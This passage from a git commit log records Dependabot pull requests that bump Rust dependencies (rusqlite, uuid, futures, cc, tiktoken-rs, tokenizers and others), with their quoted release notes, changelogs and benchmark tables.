href="https://github.com/modelcontextprotocol/python-sdk/compare/v1.28.1...v2.0.0">compare
view</a></li>
</ul>
</details>
<br />


Dependabot will resolve any conflicts with this PR as long as you don't
alter it yourself. You can also trigger a rebase manually by commenting
`@dependabot rebase`.

[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)

---

<details>
<summary>Dependabot commands and options</summary>
<br />

You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits
that have been made to it
- `@dependabot show <dependency name> ignore conditions` will show all
of the ignore conditions of the specified dependency
- `@dependabot ignore this major version` will close this PR and stop
Dependabot creating any more for this major version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this minor version` will close this PR and stop
Dependabot creating any more for this minor version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this dependency` will close this PR and stop
Dependabot creating any more for this dependency (unless you reopen the
PR or upgrade to it yourself)


</details>

---------

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: JerrettDavis <mxjerrett@gmail.com>
2026-08-20 20:58:06 -05:00
dependabot[bot] 9c14e3aa95 deps: bump the cargo-minor-patch group with 8 updates (#3145)
Bumps the cargo-minor-patch group with 8 updates:

| Package | From | To |
| --- | --- | --- |
| [aws-config](https://github.com/smithy-lang/smithy-rs) | `1.10.0` |
`1.10.1` |
| [rusqlite](https://github.com/rusqlite/rusqlite) | `0.40.1` | `0.40.2`
|
| [uuid](https://github.com/uuid-rs/uuid) | `1.24.0` | `1.24.1` |
| [futures](https://github.com/rust-lang/futures-rs) | `0.3.33` |
`0.3.34` |
| [futures-util](https://github.com/rust-lang/futures-rs) | `0.3.33` |
`0.3.34` |
| [http-body-util](https://github.com/hyperium/http-body) | `0.1.4` |
`0.1.5` |
| [async-trait](https://github.com/dtolnay/async-trait) | `0.1.91` |
`0.1.92` |
| [cc](https://github.com/rust-lang/cc-rs) | `1.4.1` | `1.4.3` |

Updates `aws-config` from 1.10.0 to 1.10.1
<details>
<summary>Commits</summary>
<ul>
<li>See full diff in <a
href="https://github.com/smithy-lang/smithy-rs/commits">compare
view</a></li>
</ul>
</details>
<br />

Updates `rusqlite` from 0.40.1 to 0.40.2
<details>
<summary>Release notes</summary>
<p><em>Sourced from <a
href="https://github.com/rusqlite/rusqlite/releases">rusqlite's
releases</a>.</em></p>
<blockquote>
<h2>0.40.2</h2>
<h2>What's Changed</h2>
<ul>
<li>Lower MSRV to 1.88.0</li>
</ul>
<p><strong>Full Changelog</strong>: <a
href="https://github.com/rusqlite/rusqlite/compare/v0.40.1...v0.40.2">https://github.com/rusqlite/rusqlite/compare/v0.40.1...v0.40.2</a></p>
</blockquote>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="https://github.com/rusqlite/rusqlite/commit/e88f112bef7899234a497baed5cc3c3d553deeb8"><code>e88f112</code></a>
Prepare release</li>
<li><a
href="https://github.com/rusqlite/rusqlite/commit/d11c76e7d7e20eb8e22ede9250407187bd3f22e3"><code>d11c76e</code></a>
Update main.yml</li>
<li><a
href="https://github.com/rusqlite/rusqlite/commit/c922ca5b716b5a226df6eba9eea84c6320c60311"><code>c922ca5</code></a>
Lower MSRV to 1.88.0</li>
<li>See full diff in <a
href="https://github.com/rusqlite/rusqlite/compare/v0.40.1...v0.40.2">compare
view</a></li>
</ul>
</details>
<br />

Updates `uuid` from 1.24.0 to 1.24.1
<details>
<summary>Release notes</summary>
<p><em>Sourced from <a
href="https://github.com/uuid-rs/uuid/releases">uuid's
releases</a>.</em></p>
<blockquote>
<h2>v1.24.1</h2>
<h2>What's Changed</h2>
<ul>
<li>Fix non-ASCII character handling in parse diagnostics by <a
href="https://github.com/questfever"><code>@​questfever</code></a> in <a
href="https://redirect.github.com/uuid-rs/uuid/pull/899">uuid-rs/uuid#899</a></li>
<li>Prepare for 1.24.1 release by <a
href="https://github.com/KodrAus"><code>@​KodrAus</code></a> in <a
href="https://redirect.github.com/uuid-rs/uuid/pull/900">uuid-rs/uuid#900</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a
href="https://github.com/questfever"><code>@​questfever</code></a> made
their first contribution in <a
href="https://redirect.github.com/uuid-rs/uuid/pull/899">uuid-rs/uuid#899</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a
href="https://github.com/uuid-rs/uuid/compare/v1.24.0...v1.24.1">https://github.com/uuid-rs/uuid/compare/v1.24.0...v1.24.1</a></p>
</blockquote>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="https://github.com/uuid-rs/uuid/commit/2ea38af9f226cad4b50b560cbc18e38927a0a58d"><code>2ea38af</code></a>
Merge pull request <a
href="https://redirect.github.com/uuid-rs/uuid/issues/900">#900</a> from
uuid-rs/cargo/v1.24.1</li>
<li><a
href="https://github.com/uuid-rs/uuid/commit/9dbeb04a438d422f73d6ca222d135f060f239cce"><code>9dbeb04</code></a>
prepare for 1.24.1 release</li>
<li><a
href="https://github.com/uuid-rs/uuid/commit/e113df8c8fa56874b15e4637038d30f0185058f5"><code>e113df8</code></a>
Merge pull request <a
href="https://redirect.github.com/uuid-rs/uuid/issues/899">#899</a> from
questfever/main</li>
<li><a
href="https://github.com/uuid-rs/uuid/commit/b0177659b3f37777f30d8b12bf2d86b592bf1feb"><code>b017765</code></a>
Fix non-ASCII character handling in parse diagnostics</li>
<li>See full diff in <a
href="https://github.com/uuid-rs/uuid/compare/v1.24.0...v1.24.1">compare
view</a></li>
</ul>
</details>
<br />

Updates `futures` from 0.3.33 to 0.3.34
<details>
<summary>Release notes</summary>
<p><em>Sourced from <a
href="https://github.com/rust-lang/futures-rs/releases">futures's
releases</a>.</em></p>
<blockquote>
<h2>0.3.34</h2>
<ul>
<li>Preserve cloned waker identity. (<a
href="https://redirect.github.com/rust-lang/futures-rs/issues/3032">#3032</a>)</li>
<li>Updato <code>syn</code> to 3. (<a
href="https://redirect.github.com/rust-lang/futures-rs/issues/3028">#3028</a>)</li>
</ul>
</blockquote>
</details>
<details>
<summary>Changelog</summary>
<p><em>Sourced from <a
href="https://github.com/rust-lang/futures-rs/blob/main/CHANGELOG.md">futures's
changelog</a>.</em></p>
<blockquote>
<h1>0.3.34 - 2026-08-11</h1>
<ul>
<li>Preserve cloned waker identity. (<a
href="https://redirect.github.com/rust-lang/futures-rs/issues/3032">#3032</a>)</li>
<li>Updato <code>syn</code> to 3. (<a
href="https://redirect.github.com/rust-lang/futures-rs/issues/3028">#3028</a>)</li>
</ul>
</blockquote>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="https://github.com/rust-lang/futures-rs/commit/705e6b5c0f06535b1aac1cb1989a172b3d45be8c"><code>705e6b5</code></a>
Release 0.3.34</li>
<li><a
href="https://github.com/rust-lang/futures-rs/commit/616dac7bf944ff9876b7f8b77b37c6224cbbb506"><code>616dac7</code></a>
compat: Inline RawWaker clone function</li>
<li><a
href="https://github.com/rust-lang/futures-rs/commit/41763693ee6400e2a7931530790af6e1746eb1c6"><code>4176369</code></a>
Inline remaining RawWaker clone functions</li>
<li><a
href="https://github.com/rust-lang/futures-rs/commit/f17a8957d9a25a2dd3c95b43f1c6caa108df6bcc"><code>f17a895</code></a>
Fix cloned FuturesUnordered waker identity</li>
<li><a
href="https://github.com/rust-lang/futures-rs/commit/51d62ada9bb8eab06339475e0f1b19cfa41fb2d7"><code>51d62ad</code></a>
macro: bump <code>syn</code> to v3 (<a
href="https://redirect.github.com/rust-lang/futures-rs/issues/3028">#3028</a>)</li>
<li><a
href="https://github.com/rust-lang/futures-rs/commit/9e26177cf01155d57917ee943246d0c97843deed"><code>9e26177</code></a>
ci: Reduce timeout-minutes</li>
<li><a
href="https://github.com/rust-lang/futures-rs/commit/b2d098331763fca9b0665f80bb31a66e3112a2cf"><code>b2d0983</code></a>
tsan: Enable Adaptive Delay</li>
<li><a
href="https://github.com/rust-lang/futures-rs/commit/f733d0ea9fed49263203ae0a7cb6beb5fe1a04c4"><code>f733d0e</code></a>
Miri: Ignore compat tests</li>
<li><a
href="https://github.com/rust-lang/futures-rs/commit/e5def2f60c7eb1e8e6b76da540e148cc7638b115"><code>e5def2f</code></a>
Rename default branch to main</li>
<li>See full diff in <a
href="https://github.com/rust-lang/futures-rs/compare/0.3.33...0.3.34">compare
view</a></li>
</ul>
</details>
<br />

Updates `futures-util` from 0.3.33 to 0.3.34
<details>
<summary>Release notes</summary>
<p><em>Sourced from <a
href="https://github.com/rust-lang/futures-rs/releases">futures-util's
releases</a>.</em></p>
<blockquote>
<h2>0.3.34</h2>
<ul>
<li>Preserve cloned waker identity. (<a
href="https://redirect.github.com/rust-lang/futures-rs/issues/3032">#3032</a>)</li>
<li>Updato <code>syn</code> to 3. (<a
href="https://redirect.github.com/rust-lang/futures-rs/issues/3028">#3028</a>)</li>
</ul>
</blockquote>
</details>
<details>
<summary>Changelog</summary>
<p><em>Sourced from <a
href="https://github.com/rust-lang/futures-rs/blob/main/CHANGELOG.md">futures-util's
changelog</a>.</em></p>
<blockquote>
<h1>0.3.34 - 2026-08-11</h1>
<ul>
<li>Preserve cloned waker identity. (<a
href="https://redirect.github.com/rust-lang/futures-rs/issues/3032">#3032</a>)</li>
<li>Updato <code>syn</code> to 3. (<a
href="https://redirect.github.com/rust-lang/futures-rs/issues/3028">#3028</a>)</li>
</ul>
</blockquote>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="https://github.com/rust-lang/futures-rs/commit/705e6b5c0f06535b1aac1cb1989a172b3d45be8c"><code>705e6b5</code></a>
Release 0.3.34</li>
<li><a
href="https://github.com/rust-lang/futures-rs/commit/616dac7bf944ff9876b7f8b77b37c6224cbbb506"><code>616dac7</code></a>
compat: Inline RawWaker clone function</li>
<li><a
href="https://github.com/rust-lang/futures-rs/commit/41763693ee6400e2a7931530790af6e1746eb1c6"><code>4176369</code></a>
Inline remaining RawWaker clone functions</li>
<li><a
href="https://github.com/rust-lang/futures-rs/commit/f17a8957d9a25a2dd3c95b43f1c6caa108df6bcc"><code>f17a895</code></a>
Fix cloned FuturesUnordered waker identity</li>
<li><a
href="https://github.com/rust-lang/futures-rs/commit/51d62ada9bb8eab06339475e0f1b19cfa41fb2d7"><code>51d62ad</code></a>
macro: bump <code>syn</code> to v3 (<a
href="https://redirect.github.com/rust-lang/futures-rs/issues/3028">#3028</a>)</li>
<li><a
href="https://github.com/rust-lang/futures-rs/commit/9e26177cf01155d57917ee943246d0c97843deed"><code>9e26177</code></a>
ci: Reduce timeout-minutes</li>
<li><a
href="https://github.com/rust-lang/futures-rs/commit/b2d098331763fca9b0665f80bb31a66e3112a2cf"><code>b2d0983</code></a>
tsan: Enable Adaptive Delay</li>
<li><a
href="https://github.com/rust-lang/futures-rs/commit/f733d0ea9fed49263203ae0a7cb6beb5fe1a04c4"><code>f733d0e</code></a>
Miri: Ignore compat tests</li>
<li><a
href="https://github.com/rust-lang/futures-rs/commit/e5def2f60c7eb1e8e6b76da540e148cc7638b115"><code>e5def2f</code></a>
Rename default branch to main</li>
<li>See full diff in <a
href="https://github.com/rust-lang/futures-rs/compare/0.3.33...0.3.34">compare
view</a></li>
</ul>
</details>
<br />

Updates `http-body-util` from 0.1.4 to 0.1.5
<details>
<summary>Commits</summary>
<ul>
<li><a
href="https://github.com/hyperium/http-body/commit/07838bd97b714b95bd783cd695ebf211b67545c4"><code>07838bd</code></a>
http-body-util v0.1.5</li>
<li><a
href="https://github.com/hyperium/http-body/commit/612118cc69be10ae8fef090798420846bfb606ba"><code>612118c</code></a>
docs: migrate from doc_auto_cfg to doc_cfg (<a
href="https://redirect.github.com/hyperium/http-body/issues/175">#175</a>)</li>
<li>See full diff in <a
href="https://github.com/hyperium/http-body/compare/http-body-util-v0.1.4...http-body-util-v0.1.5">compare
view</a></li>
</ul>
</details>
<br />

Updates `async-trait` from 0.1.91 to 0.1.92
<details>
<summary>Release notes</summary>
<p><em>Sourced from <a
href="https://github.com/dtolnay/async-trait/releases">async-trait's
releases</a>.</em></p>
<blockquote>
<h2>0.1.92</h2>
<ul>
<li>Resolve double_must_use clippy lint in generated code (<a
href="https://redirect.github.com/dtolnay/async-trait/issues/303">#303</a>)</li>
</ul>
</blockquote>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="https://github.com/dtolnay/async-trait/commit/82e7e9edd60f622294373a23c0ce9c0077ad0263"><code>82e7e9e</code></a>
Release 0.1.92</li>
<li><a
href="https://github.com/dtolnay/async-trait/commit/9a35cb87f9366cd992bbc00d430e1b5fe1aa0cdd"><code>9a35cb8</code></a>
Merge pull request <a
href="https://redirect.github.com/dtolnay/async-trait/issues/303">#303</a>
from dtolnay/mustuse</li>
<li><a
href="https://github.com/dtolnay/async-trait/commit/875ceecb100bab2cf369178633b4791336d92b75"><code>875ceec</code></a>
Resolve double_must_use clippy lint</li>
<li><a
href="https://github.com/dtolnay/async-trait/commit/62993a57bc6a8d5bd3de23fbae48cede333cb925"><code>62993a5</code></a>
Raise minimum tested compiler to rust 1.88</li>
<li>See full diff in <a
href="https://github.com/dtolnay/async-trait/compare/0.1.91...0.1.92">compare
view</a></li>
</ul>
</details>
<br />

Updates `cc` from 1.4.1 to 1.4.3
<details>
<summary>Release notes</summary>
<p><em>Sourced from <a
href="https://github.com/rust-lang/cc-rs/releases">cc's
releases</a>.</em></p>
<blockquote>
<h2>cc-v1.4.3</h2>
<h3>Other</h3>
<ul>
<li>Update MSRV to 1.65 (<a
href="https://redirect.github.com/rust-lang/cc-rs/pull/1834">#1834</a>)</li>
<li>Regenerate target info (<a
href="https://redirect.github.com/rust-lang/cc-rs/pull/1848">#1848</a>)</li>
</ul>
<h2>cc-v1.4.2</h2>
<h3>Fixed</h3>
<ul>
<li>Infer NEON, not VFPv4, from <code>neon</code> in the target name (<a
href="https://redirect.github.com/rust-lang/cc-rs/pull/1843">#1843</a>)</li>
<li>do not emit <code>-mno-omit-leaf-frame-pointer</code> if unsupported
(<a
href="https://redirect.github.com/rust-lang/cc-rs/pull/1845">#1845</a>)</li>
</ul>
</blockquote>
</details>
<details>
<summary>Changelog</summary>
<p><em>Sourced from <a
href="https://github.com/rust-lang/cc-rs/blob/main/CHANGELOG.md">cc's
changelog</a>.</em></p>
<blockquote>
<h2><a
href="https://github.com/rust-lang/cc-rs/compare/cc-v1.4.2...cc-v1.4.3">1.4.3</a>
- 2026-08-14</h2>
<h3>Other</h3>
<ul>
<li>Update MSRV to 1.65 (<a
href="https://redirect.github.com/rust-lang/cc-rs/pull/1834">#1834</a>)</li>
<li>Regenerate target info (<a
href="https://redirect.github.com/rust-lang/cc-rs/pull/1848">#1848</a>)</li>
</ul>
<h2><a
href="https://github.com/rust-lang/cc-rs/compare/cc-v1.4.1...cc-v1.4.2">1.4.2</a>
- 2026-08-08</h2>
<h3>Fixed</h3>
<ul>
<li>Infer NEON, not VFPv4, from <code>neon</code> in the target name (<a
href="https://redirect.github.com/rust-lang/cc-rs/pull/1843">#1843</a>)</li>
<li>do not emit <code>-mno-omit-leaf-frame-pointer</code> if unsupported
(<a
href="https://redirect.github.com/rust-lang/cc-rs/pull/1845">#1845</a>)</li>
</ul>
</blockquote>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="https://github.com/rust-lang/cc-rs/commit/3c4ab883616b373c0287319d1a2f237aad0c79a0"><code>3c4ab88</code></a>
chore: release (<a
href="https://redirect.github.com/rust-lang/cc-rs/issues/1858">#1858</a>)</li>
<li><a
href="https://github.com/rust-lang/cc-rs/commit/951c5f54587b8957312c08741c3f3a5f54e97359"><code>951c5f5</code></a>
cc-test: add loongarch64 assembly shim (<a
href="https://redirect.github.com/rust-lang/cc-rs/issues/1855">#1855</a>)</li>
<li><a
href="https://github.com/rust-lang/cc-rs/commit/60e2e0054d07ee394964ae375431e497c62a14ed"><code>60e2e00</code></a>
chore(deps): bump Swatinem/rust-cache from 2.9.1 to 2.9.2 (<a
href="https://redirect.github.com/rust-lang/cc-rs/issues/1853">#1853</a>)</li>
<li><a
href="https://github.com/rust-lang/cc-rs/commit/cdb470173f4c9ffe0fa96abe4a408e9d1345fb99"><code>cdb4701</code></a>
ci: replace rustup installation with
actions-rust-lang/setup-rust-toolchain (...</li>
<li><a
href="https://github.com/rust-lang/cc-rs/commit/3af3b8decd2af3e4423360468234a3aec1b3411a"><code>3af3b8d</code></a>
cargo: use workspace inheritance (<a
href="https://redirect.github.com/rust-lang/cc-rs/issues/1850">#1850</a>)</li>
<li><a
href="https://github.com/rust-lang/cc-rs/commit/6df6471c063ed96f9ac5a2ccd2d087a75984a536"><code>6df6471</code></a>
cargo: convert to workspace lints (<a
href="https://redirect.github.com/rust-lang/cc-rs/issues/1849">#1849</a>)</li>
<li><a
href="https://github.com/rust-lang/cc-rs/commit/36efa48bf7d1740d94a0d8c9c734d495363127fb"><code>36efa48</code></a>
Update MSRV to 1.65 (<a
href="https://redirect.github.com/rust-lang/cc-rs/issues/1834">#1834</a>)</li>
<li><a
href="https://github.com/rust-lang/cc-rs/commit/59170f958c929d3a6cccf3c559385e7c762b41c0"><code>59170f9</code></a>
Regenerate target info (<a
href="https://redirect.github.com/rust-lang/cc-rs/issues/1848">#1848</a>)</li>
<li><a
href="https://github.com/rust-lang/cc-rs/commit/7fa314c661fcbc556e102f060d43652ccfcf2f66"><code>7fa314c</code></a>
ci: run clippy in more cases (<a
href="https://redirect.github.com/rust-lang/cc-rs/issues/1832">#1832</a>)</li>
<li><a
href="https://github.com/rust-lang/cc-rs/commit/a91e05ec40f26d4637d4bff9e9764221d0a59dd8"><code>a91e05e</code></a>
chore(cc): release v1.4.2 (<a
href="https://redirect.github.com/rust-lang/cc-rs/issues/1846">#1846</a>)</li>
<li>Additional commits viewable in <a
href="https://github.com/rust-lang/cc-rs/compare/cc-v1.4.1...cc-v1.4.3">compare
view</a></li>
</ul>
</details>
<br />


Dependabot will resolve any conflicts with this PR as long as you don't
alter it yourself. You can also trigger a rebase manually by commenting
`@dependabot rebase`.

[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)

---

<details>
<summary>Dependabot commands and options</summary>
<br />

You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits
that have been made to it
- `@dependabot show <dependency name> ignore conditions` will show all
of the ignore conditions of the specified dependency
- `@dependabot ignore <dependency name> major version` will close this
group update PR and stop Dependabot creating any more for the specific
dependency's major version (unless you unignore this specific
dependency's major version or upgrade to it yourself)
- `@dependabot ignore <dependency name> minor version` will close this
group update PR and stop Dependabot creating any more for the specific
dependency's minor version (unless you unignore this specific
dependency's minor version or upgrade to it yourself)
- `@dependabot ignore <dependency name>` will close this group update PR
and stop Dependabot creating any more for the specific dependency
(unless you unignore this specific dependency or upgrade to it yourself)
- `@dependabot unignore <dependency name>` will remove all of the ignore
conditions of the specified dependency
- `@dependabot unignore <dependency name> <ignore condition>` will
remove the ignore condition of the specified dependency and ignore
conditions


</details>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-08-20 20:40:50 -05:00
dependabot[bot] a307c11109 deps: bump tiktoken-rs from 0.11.0 to 0.12.0 (#3147)
Bumps [tiktoken-rs](https://github.com/zurawiki/tiktoken-rs) from 0.11.0
to 0.12.0.
<details>
<summary>Release notes</summary>
<p><em>Sourced from <a
href="https://github.com/zurawiki/tiktoken-rs/releases">tiktoken-rs's
releases</a>.</em></p>
<blockquote>
<h2>v0.12.0</h2>
<h2>Summary</h2>
<p>This release backports OpenAI <code>tiktoken</code> 0.13.0 into
<code>tiktoken-rs</code>. The main reason to upgrade is better alignment
with upstream tokenization behavior, especially the upstream Rust core
changes for large BPE pieces and error-aware encoding.</p>
<p>For most users who call the high-level model/token counting helpers,
this should behave the same aside from the new Rust compiler
requirement. Users who call lower-level <code>CoreBPE</code> encoding
methods directly should review the breaking changes below.</p>
<h2>What Changed</h2>
<ul>
<li>Backported the vendored OpenAI <code>tiktoken</code> Rust core from
0.9.0 to 0.13.0.</li>
<li>Added the upstream large-piece BPE merge path. Functionally, this
improves behavior for very large or repetitive inputs that previously
stressed the merge algorithm.</li>
<li>Changed <code>CoreBPE::encode</code> to return
<code>Result&lt;(Vec&lt;Rank&gt;, usize), EncodeError&gt;</code>,
matching upstream. Regex/tokenization failures can now be reported
instead of being hidden behind infallible APIs.</li>
<li>Updated <code>encode_as</code> and <code>count</code> to return
<code>Result</code> because they call <code>encode</code>.</li>
<li>Re-exported <code>EncodeError</code> so callers can handle encode
failures directly.</li>
<li>Aligned the vendored core with Rust 2024 and raised the crate MSRV
to Rust 1.85.</li>
<li>Synced model-to-tokenizer mappings with upstream
<code>tiktoken</code> 0.13.0 while keeping local extra prefixes
isolated.</li>
<li>Hardened asset downloads with SHA-256 checks and a repo-root-aware
asset path.</li>
</ul>
<h2>Breaking Changes</h2>
<p>If your code calls <code>CoreBPE::encode</code>, unwrap or propagate
the result before using the tokens:</p>
<pre lang="rust"><code>let allowed = bpe.special_tokens();
let (tokens, last_piece_token_len) = bpe.encode(&quot;hello
&lt;|endoftext|&gt;&quot;, &amp;allowed)?;
</code></pre>
<p>The generic helpers changed similarly:</p>
<pre lang="rust"><code>let (tokens, last_piece_token_len) =
bpe.encode_as::&lt;usize&gt;(text, &amp;allowed)?;
let token_count = bpe.count(text, &amp;allowed)?;
</code></pre>
<p><code>encode_ordinary</code>, <code>encode_ordinary_as</code>,
<code>encode_with_special_tokens</code>, and <code>count_ordinary</code>
remain infallible.</p>
<p>Projects must now build with Rust 1.85 or newer.</p>
<h2>Practical Impact</h2>
<ul>
<li>Applications processing long repeated text should see more robust
tokenization behavior.</li>
<li>Code that only uses helpers like
<code>get_chat_completion_max_tokens</code>,
<code>get_text_completion_max_tokens</code>, <code>bpe_for_model</code>,
or singleton tokenizer constructors should not need call-site
changes.</li>
<li>Code using low-level <code>CoreBPE::encode</code>,
<code>encode_as</code>, or <code>count</code> needs a small migration to
handle <code>Result</code>.</li>
</ul>
<h2>Links</h2>
<ul>
<li>PR: <a
href="https://redirect.github.com/zurawiki/tiktoken-rs/pull/164">zurawiki/tiktoken-rs#164</a></li>
<li>Upstream <code>tiktoken</code> 0.13.0: <a
href="https://github.com/openai/tiktoken/releases/tag/0.13.0">https://github.com/openai/tiktoken/releases/tag/0.13.0</a></li>
<li>Full changelog: <a
href="https://github.com/zurawiki/tiktoken-rs/compare/v0.11.0...v0.12.0">https://github.com/zurawiki/tiktoken-rs/compare/v0.11.0...v0.12.0</a></li>
</ul>
</blockquote>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="https://github.com/zurawiki/tiktoken-rs/commit/32de8dc0526d67f2c266c4e5e7c6a8ec5a0ce3d7"><code>32de8dc</code></a>
Bump version minor to &quot;0.12.0&quot;</li>
<li><a
href="https://github.com/zurawiki/tiktoken-rs/commit/ac7e2e8b96f802fdbc48a54cd8292f9dae3c6d80"><code>ac7e2e8</code></a>
Backport tiktoken 0.13.0 (<a
href="https://redirect.github.com/zurawiki/tiktoken-rs/issues/164">#164</a>)</li>
<li>See full diff in <a
href="https://github.com/zurawiki/tiktoken-rs/compare/v0.11.0...v0.12.0">compare
view</a></li>
</ul>
</details>
<br />


[![Dependabot compatibility
score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=tiktoken-rs&package-manager=cargo&previous-version=0.11.0&new-version=0.12.0)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)

Dependabot will resolve any conflicts with this PR as long as you don't
alter it yourself. You can also trigger a rebase manually by commenting
`@dependabot rebase`.

[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)

---

<details>
<summary>Dependabot commands and options</summary>
<br />

You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits
that have been made to it
- `@dependabot show <dependency name> ignore conditions` will show all
of the ignore conditions of the specified dependency
- `@dependabot ignore this major version` will close this PR and stop
Dependabot creating any more for this major version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this minor version` will close this PR and stop
Dependabot creating any more for this minor version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this dependency` will close this PR and stop
Dependabot creating any more for this dependency (unless you reopen the
PR or upgrade to it yourself)


</details>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-08-20 20:39:19 -05:00
dependabot[bot] 6e2e10f67a deps: bump tokenizers from 0.22.2 to 0.23.1 (#3149)
Bumps [tokenizers](https://github.com/huggingface/tokenizers) from
0.22.2 to 0.23.1.
<details>
<summary>Release notes</summary>
<p><em>Sourced from <a
href="https://github.com/huggingface/tokenizers/releases">tokenizers's
releases</a>.</em></p>
<blockquote>
<h2>Release v0.23.1</h2>
<h2>TL;DR</h2>
<p><code>tokenizers 0.23.1</code> is the first proper stable release in
the <code>0.23</code> line — <code>0.23.0</code> only ever shipped as
<code>rc0</code> because the release pipeline itself was broken (Node
side hadn't shipped multi-platform binaries since 2023, Python side was
on <code>pyo3 0.27</code> without free-threaded support).
<code>0.23.1</code> is the version where everything actually goes out
the door together: full Node multi-platform wheels for the first time in
years, Python 3.14 (regular <strong>and</strong> free-threaded
<code>3.14t</code>), full type hints for every Python class, and a stack
of measurable perf wins on the BPE / added-vocab hot paths.</p>
<p>There is no functional <code>0.23.0</code> published — we tag
<code>0.23.1</code> directly so users don't accidentally pull a
never-shipped version.</p>
<hr />
<h2>🚨 Breaking changes</h2>
<ul>
<li><strong>Drop Python 3.9</strong> (<a
href="https://redirect.github.com/huggingface/tokenizers/issues/1952">#1952</a>)
— <code>requires-python = &quot;&gt;=3.10&quot;</code>; 3.9 users stay
on <code>0.22.x</code>.</li>
<li><strong><code>add_tokens</code> normalizes <code>content</code> at
insertion</strong> (<a
href="https://redirect.github.com/huggingface/tokenizers/issues/1995">#1995</a>)
— re-saved <code>tokenizer.json</code> may differ in the
<code>added_tokens</code> block. Existing files load unchanged.</li>
<li><strong>Type stubs are precise</strong> (<a
href="https://redirect.github.com/huggingface/tokenizers/issues/1928">#1928</a>,
<a
href="https://redirect.github.com/huggingface/tokenizers/issues/1997">#1997</a>)
— methods that returned <code>Any</code> now return real types;
<code>mypy --strict</code> may surface previously-hidden errors. Stub
layout also moved from <code>tokenizers/&lt;sub&gt;/__init__.pyi</code>
to <code>tokenizers/&lt;sub&gt;.pyi</code>. This breaks the surface of
some of the processors like <code>RobertaProcessign</code>'s
<code>__init__</code> .</li>
<li><strong>3.14t-only</strong>: setters/getters return
<code>PyResult&lt;T&gt;</code> because of
<code>Arc&lt;RwLock&lt;Tokenizer&gt;&gt;</code>; a poisoned lock
surfaces as <code>PyException</code> instead of a panic.</li>
</ul>
<hr />
<h2> Performance — measured locally on this Mac, not lifted from
PRs</h2>
<p>Run with <code>cargo bench --bench &lt;name&gt; -- --save-baseline
v0_22_2</code> on <code>v0.22.2</code>, then <code>--baseline
v0_22_2</code> on <code>v0.23.1</code>. Numbers are point-in-time wall
clock on a single laptop; relative deltas are what matters, absolute
numbers will differ on CI hardware.</p>
<h3>Added-vocabulary deserialize — the headline win (<a
href="https://redirect.github.com/huggingface/tokenizers/issues/1995">#1995</a>,
<a
href="https://redirect.github.com/huggingface/tokenizers/issues/1999">#1999</a>)</h3>
<p><code>bench: improve added_vocab_deserialize to reflect real-world
workloads</code> (<a
href="https://redirect.github.com/huggingface/tokenizers/issues/2000">#2000</a>)
is now representative of how transformers actually loads tokenizer.json
files. The combined effect of <code>daachorse</code> for the matching
automaton plus the normalize-on-insert refactor is enormous on this
workload:</p>
<table>
<thead>
<tr>
<th>benchmark</th>
<th align="right">v0.22.2</th>
<th align="right">v0.23.1</th>
<th align="right">change</th>
</tr>
</thead>
<tbody>
<tr>
<td>100k tokens, special, no norm</td>
<td align="right">~410 ms</td>
<td align="right">248 ms</td>
<td align="right"><strong>−40%</strong></td>
</tr>
<tr>
<td>100k tokens, non-special, no norm</td>
<td align="right">~7.1 s</td>
<td align="right">273 ms</td>
<td align="right"><strong>−96%</strong></td>
</tr>
<tr>
<td>100k tokens, special, NFKC</td>
<td align="right">~395 ms</td>
<td align="right">235 ms</td>
<td align="right"><strong>−40%</strong></td>
</tr>
<tr>
<td>100k tokens, non-special, NFKC</td>
<td align="right">~7.4 s</td>
<td align="right">290 ms</td>
<td align="right"><strong>−96%</strong></td>
</tr>
<tr>
<td>400k tokens, special, no norm</td>
<td align="right">~15 s</td>
<td align="right">980 ms</td>
<td align="right"><strong>−94%</strong></td>
</tr>
</tbody>
</table>
<p>Real-world impact: loading a Llama-3-style tokenizer with a large set
of added tokens dropped from &quot;noticeable pause&quot; to
&quot;instant&quot;.</p>
<h3>BPE encode</h3>
<table>
<thead>
<tr>
<th>benchmark</th>
<th align="right">v0.22.2</th>
<th align="right">v0.23.1</th>
<th align="right">change</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>BPE GPT2 encode batch, no cache</code></td>
<td align="right">530 ms</td>
<td align="right">446 ms</td>
<td align="right"><strong>−16%</strong></td>
</tr>
<tr>
<td><code>BPE GPT2 encode batch</code> (cached)</td>
<td align="right">690 ms</td>
<td align="right">685 ms</td>
<td align="right">noise</td>
</tr>
<tr>
<td><code>BPE GPT2 encode</code> (single)</td>
<td align="right">1.95 s</td>
<td align="right">1.94 s</td>
<td align="right">noise</td>
</tr>
<tr>
<td><code>BPE Train (small)</code></td>
<td align="right">32.6 ms</td>
<td align="right">31.5 ms</td>
